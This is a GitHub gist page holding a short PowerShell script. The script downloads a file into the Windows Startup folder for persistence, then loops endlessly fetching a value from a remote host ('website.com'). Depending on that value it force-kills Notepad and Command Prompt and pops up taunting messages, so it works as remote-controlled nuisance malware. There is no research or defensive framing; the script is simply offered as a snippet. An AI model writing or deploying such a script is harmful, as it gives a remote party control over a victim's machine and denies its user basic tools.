Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save danielsalama2/65cbecd6687fb52899d089ac7fea138a to your computer and use it in GitHub Desktop.
Save danielsalama2/65cbecd6687fb52899d089ac7fea138a to your computer and use it in GitHub Desktop.
cls
Invoke-WebRequest -Uri "download-file" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
while($running = 5)
{
$data1 = Get-Process -Name "notepad"
$data2 = Get-Process -Name "cmd"
$number = (new-object Net.WebClient).DownloadString("https://website.com/code.fxp")
if(($number) -eq 1)
{
if($data1)
{
taskkill /f /im notepad.exe
msg * "cant use notepad. reason: yes"
}
if($data2)
{
taskkill /f /im cmd.exe
msg * "cant use cmd. reason: yes"
}
}
if(($number) -eq 2)
{
msg * "not working because $number = 2"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment